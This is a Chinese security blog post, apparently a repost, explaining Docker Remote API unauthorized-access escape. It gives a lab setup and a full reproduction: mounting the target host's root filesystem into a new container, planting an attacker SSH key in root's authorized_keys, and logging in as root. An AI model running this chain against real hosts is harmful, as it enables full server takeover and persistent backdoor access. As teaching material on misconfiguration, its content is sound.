Docker逃逸详解(二)

admin 2024年12月31日22:59:38评论15 views字数 2219阅读7分23秒阅读模式
接上一篇。

1.3 举例:远程API未授权访问逃逸

1.3.1 漏洞简介

       docker remote Api 是Docker提供的一个接口,允许用户通过HTTP或HTTPS发送请求来远程管理docker容器和镜像,这一接口通常用于自动化任务或与其他工具集成。

漏洞产生原因:

· docker的守护进程默认使用unix套接字进行本地通信,但如果配置不当(例如监听0.0.0.0),则会暴露在网络上。

· 如果没有设置访问权限控制(如未启用TLS认证或防火墙限制),攻击者可以直接通过网络访问API,无需认证即可执行各种docker操作命令。

1.3.2 漏洞环境搭建

配置远程访问修改服务配置文件【vim /lib/systemd/system/docker.service】

[Service]ExecStart=/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock

保存并退出之后,重载守护进程以及重启docker服务即可

sudo systemctl daemon-reload   #重载守护进程sudo service docker restart  #重启docker服务systemctl status docker.service   #查看docker运行情况

或者直接

docker -H tcp://x.x.x.x:2375 images

1.3.3 漏洞检测

    访问2375端口响应404,或【curl http://ip:2375/info】路径有docker守护进程的信息,则存在漏洞,说明目标主机的docker remote api对外开放且为设置认证。

     /info是docker api的标准接口之一,用于返回docker守护进程的系统级别信息,包括版本、存储驱动、网络信息等。

Docker逃逸详解(二)

1.3.4 漏洞原理

1)API 功能:Docker Remote API 提供了广泛的功能:

    • 拉取镜像
    • 创建、启动、停止、删除容器
    • 挂载主机文件系统
    • 执行容器内命令

2)未授权访问:若API没有设置认证或限制访问来源(如绑定到 0.0.0.0),攻击者可以通过网络访问接口,直接调用Docker API操作 Docker 容器和宿主机。

3)权限逃逸

    • 通过挂载主机目录(如 /etc/var/lib/docker 等)到容器内,攻击者可直接操作主机文件系统,窃取敏感信息或植入后门。
    • 利用特权容器或Docker中的漏洞,进一步提升权限,甚至控制整个宿主机。

1.3.5 漏洞复现

   使用fscan扫描发现目标主机开放2375端口,2375端口通常用于 Docker Remote API 的非加密通信(即未启用 TLS 的情况下)。2375是 Docker 守护进程提供的一个远程管理接口,允许客户端通过此端口与 Docker 容器引擎进行交互。

   还扫描出了poc-yaml-docker-api-unauthorized-rce漏洞,以及shiro漏洞。

Docker逃逸详解(二)      在攻击机上执行【docker -H tcp://10.3.4.60:2375 ps -a】

指定远程docker主机(ip为10.3.4.60,端口为2375)来列出该主机上所有容器(包括运行中、停止和退出的容器)。

Docker逃逸详解(二)

     创建恶意容器,挂载点设置为服务器的根目录,挂载至/mnt目录下。

docker -H tcp://10.3.4.60:2375 run -it -v /:/mnt vulhub/shiro:1.2.4 /bin/bash -H tcp://10.3.4.60:2375 指定使用运行在10.3.4.60上的docker守护进程,而不是本地的docker 2375 是docker的默认非安全API端口 run 表示运行一个新的docker容器 -it 以交互式模式打开 -v /:/mnt  将主机的根目录挂载到容器内的/mnt目录(容器内的进程可以直接读取、修改、删除主机上的任意文件) vulhub/shiro:1.2.4 使用的是这个镜像 /bin/bash 容器启动后进入bash shell环境。
Docker逃逸详解(二)

攻击机另启一个终端,生成公私钥对【 ssh-keygen】

Docker逃逸详解(二)Docker逃逸详解(二)

在容器内部写入攻击机生成的公钥

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDi3k6yN4qFdJRVTlSpapykN4JEK+Igy2wS5tb990EGHTjc2XFpNiH/SDT2tqjOckt0o9aM1bk7R7ReG+ZYl6YmSiVfPtnOMWfgZ/3cZmUdktb/ZEG/cLItHG1UXWyZbxanlOXjzfHYynVyhW+Vze58Bk2FEIZyMEbWq3/Ezrs3o61L9AAbUi+hwJLC02pE4FeWzISuog6r6Sei6Vp3DqrYKNPU08U5I5jvDmvdLH13lBnHNN1dUsHLBY37ZTr5PUW9bDKjM3sZFCIy/rTFywFHFgPVbOl7lc96/6GRya8sSpmlDg43sBapsP4OExkaJVN9gcf5Bn1hp0cAdHI1ghWt root@Attack' > /mnt/root/.ssh/authorized_keys
Docker逃逸详解(二)

攻击机上利用私钥进行连接【ssh -i /root/.ssh/id_rsa [email protected]

Docker逃逸详解(二)

成功连接获取宿主机权限。

原文始发于微信公众号(安全攻防屋):Docker逃逸详解(二)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月31日22:59:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Docker逃逸详解(二)http://cn-sec.com/archives/3576924.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息